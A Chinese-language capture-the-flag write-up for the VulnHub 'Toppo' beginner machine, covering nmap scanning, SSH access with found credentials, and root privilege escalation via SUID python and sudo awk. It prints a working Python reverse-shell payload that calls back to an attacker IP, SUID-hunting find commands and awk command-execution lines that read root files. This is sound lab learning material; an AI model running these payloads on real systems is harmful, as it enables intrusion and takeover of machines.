Vulnhub之路Ⅲ——Toppo
目录靶机详情
- 靶机地址:https://download.vulnhub.com/toppo/Toppo.zip
- MD5: D6FDABBB6EE4260BDA9DB7FF438A4B9C
- Level: Beginner
- Mission: Get the flag!
Description
The Machine isn't hard to own and don't require advanced exploitation .
Inside the zip you will find a vmdk file , and I think you will be able to use it with any usual virtualization software ( tested with Virtualbox) .
If you have any question : my twitter is @h4d3sw0rm
Happy Hacking !
靶机并不难控制,也不需要高级的渗透。
在 zip文件 中,您会找到一个 vmdk 文件,我认为您可以将它与任何常用的虚拟化软件一起使用(使用 Virtualbox 测试)。
如果你有任何问题:我的twitter是 @h4d3sw0rm
Happy Hacking !
环境准备
貌似没有vmx文件,直接用火眼仿真加载磁盘即可
Write Up
主机发现
nmap -sN 192.168.110.0/24
nmap -A -T4 -v -p- 192.168.110.151
开启了22、80、111、40602端口
目录扫描
80开扫
访问/admin,有个notes.txt
ssh ted连接成功
方法一:SUID提权
接下来进行SUID提权。
具体原理可以看以下两篇文章:
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
以下命令可以发现系统上运行的所有SUID可执行文件。
不同Linux适用命令不同,一个个试即可
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
-perm 匹配权限
4000 2000 1000分别表示 SUID SGID SBIT
-user root 查看具有root用户权限的SUID文件
2>/dev/null 表示:把错误输出到 “黑洞”。
-u = s 表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
有个python可以执行命令
直接反弹shell
#!/usr/bin/python2.7
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.110.131",4444));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Get the flag:
Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}
方法二:滥用SUDO提权
sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。
cat /etc/sudoers
上面的命令指:用户可以从任何终端运行,以root用户身份运行命令awk 而无需密码。
awk也是可以命令执行的
awk 'BEGIN {system("whoami")}'
awk 'BEGIN {system("find / -name flag.txt")}'
awk 'BEGIN {system("cat /root/flag.txt")}'
学习总结
这次练习主要是学习了SUID提权和SUDO提权。
SUID还有很多命令 可以用suid来提权的命令